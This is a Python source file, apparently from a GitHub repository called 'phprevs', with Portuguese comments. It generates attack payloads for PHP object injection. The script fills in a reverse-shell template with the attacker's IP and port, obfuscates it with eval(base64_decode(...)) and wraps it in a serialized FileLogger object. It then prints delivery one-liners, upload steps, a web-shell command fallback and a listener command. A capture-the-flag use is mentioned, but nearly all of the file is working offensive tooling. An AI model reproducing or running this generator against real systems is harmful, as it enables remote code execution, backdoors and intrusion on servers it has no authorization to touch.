-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgenerate.py
More file actions
136 lines (108 loc) · 5.48 KB
/
Copy pathgenerate.py
File metadata and controls
136 lines (108 loc) · 5.48 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env python3
"""phprevs generate.py - gerador de payload + artefato de object injection.
Uso:
python3 generate.py --ip 10.10.14.5 --port 4444
python3 generate.py --ip 10.10.14.5 --port 4444 --minimal --token s3cr3t
O que ele faz:
1. renderiza o template (shell.php ou shell_min.php) com IP/porta/token
2. gera o stage ofuscado: <?php eval(base64_decode('...')); ?>
(sem aspas duplas, sem quebras de linha -> seguro dentro da
serializacao e do bash)
3. serializa no formato EXATO do FileLogger, calculando os comprimentos
s:<n>: automaticamente (fim da contagem manual que quebra payload)
4. imprime: base64 pronto, one-liner bash no seu formato original e
as alternativas de entrega
"""
from __future__ import annotations
import argparse
import base64
import pathlib
import sys
ROOT = pathlib.Path(__file__).resolve().parent
TEMPLATE_FULL = ROOT / 'payload' / 'shell.php'
TEMPLATE_MIN = ROOT / 'payload' / 'shell_min.php'
def render(ip: str, port: int, token: str, webmode: bool, minimal: bool) -> str:
src = (TEMPLATE_MIN if minimal else TEMPLATE_FULL).read_text(encoding='utf-8')
return (src.replace('__IP__', ip)
.replace('__PORT__', str(port))
.replace('__TOKEN__', token)
.replace('__WEBMODE__', 'true' if webmode else 'false'))
def obfuscate(php: str) -> str:
"""Stage 2: codigo PHP inteiro virado um one-liner ofuscado.
Remove as tags <?php ?> antes do base64: o eval() recebe so codigo
(evita parse error em PHP moderno) e o one-liner final nao contem
aspas duplas nem newlines -> sobrevive a serializacao e ao bash.
"""
code = php
if code.lstrip().startswith('<?php'):
code = code[code.index('<?php') + 5:]
code = code.rstrip()
if code.endswith('?>'):
code = code[:-2].rstrip()
b64 = base64.b64encode(code.encode('utf-8')).decode('ascii')
return f"<?php eval(base64_decode('{b64}')); ?>"
def serialize(name: str, content: str) -> str:
"""Serializa no formato exato do vetor FileLogger (object injection):
O:10:"FileLogger":2:{s:8:"filename";s:<n>:"...";s:7:"content";s:<m>:"...";}
"""
n = len(name.encode('utf-8'))
m = len(content.encode('utf-8'))
inner = f's:8:"filename";s:{n}:"{name}";s:7:"content";s:{m}:"{content}";'
return f'O:10:"FileLogger":2:{{{inner}}}'
def ansi_c_quote(s: str) -> str:
"""Escapa para $'...' do bash: \\ vira \\\\ e ' vira \\'."""
return s.replace('\\', '\\\\').replace("'", "\\'")
def main() -> int:
ap = argparse.ArgumentParser(description='phprevs - gerador de payload')
ap.add_argument('--ip', required=True, help='IP do listener (atacante)')
ap.add_argument('--port', type=int, required=True)
ap.add_argument('--token', default='', help='token do modo WEB (?t=...)')
ap.add_argument('--name', default='shell.php', help='nome do arquivo no alvo')
ap.add_argument('--minimal', action='store_true',
help='template compacto (vetores com limite de tamanho)')
ap.add_argument('--no-webmode', action='store_true',
help='desabilita o fallback web shell')
ap.add_argument('--out', default='out', help='diretorio de saida')
args = ap.parse_args()
webmode = not args.no_webmode
out = pathlib.Path(args.out)
out.mkdir(parents=True, exist_ok=True)
php = render(args.ip, args.port, args.token, webmode, args.minimal)
final = obfuscate(php)
(out / 'shell.php').write_text(php, encoding='utf-8')
(out / 'final.php').write_text(final, encoding='utf-8')
serial = serialize(args.name, final)
b64 = base64.b64encode(serial.encode()).decode()
print('[+] template : %s (%d bytes)'
% ('shell_min.php (compacto)' if args.minimal else 'shell.php (completo)',
len(php.encode())))
print('[+] shell.php : %s/shell.php (%d bytes, legivel p/ referencia)'
% (args.out, len(php.encode())))
print('[+] final.php : %s/final.php (%d bytes, stage ofuscado)'
% (args.out, len(final.encode())))
print('[+] serializado : %d bytes (formato FileLogger)' % len(serial.encode()))
print('[+] base64 : %d chars (enviar via injecao)' % len(b64))
if webmode and not args.token:
print('[!] ATENCAO: --token vazio + webmode ativo = quem achar o '
'arquivo executa comandos (?c=)')
print('\n--- 1) vetor object injection (seu CTF) ----------------------')
print('B64="%s"' % b64)
print('# envie $B64 no parametro/cookie que a aplicacao desserializa')
print('# (POST que vira unserialize() no backend)')
print('echo "$B64"')
print('\n--- 2) mesmo fluxo do seu one-liner original -----------------')
print('FILENAME="%s"' % args.name)
print("PAYLOAD=$'%s'" % ansi_c_quote(serial))
print("B64=$(printf '%s' \"$PAYLOAD\" | base64 -w0)")
print('echo "$B64"')
print('\n--- 3) upload direto (se houver escrita de arquivo) ----------')
print('# envie %s/final.php para o alvo (nome: %s) e acesse:' % (args.out, args.name))
print('# http://alvo/%s -> conecta de volta no listener' % args.name)
if webmode:
print('# curl "http://alvo/%s?t=%s&c=id" (fallback se TCP bloqueado)'
% (args.name, args.token or '<token>'))
print('\n# no atacante, antes de disparar:')
print('# python3 listen.py %d' % args.port)
return 0
if __name__ == '__main__':
sys.exit(main())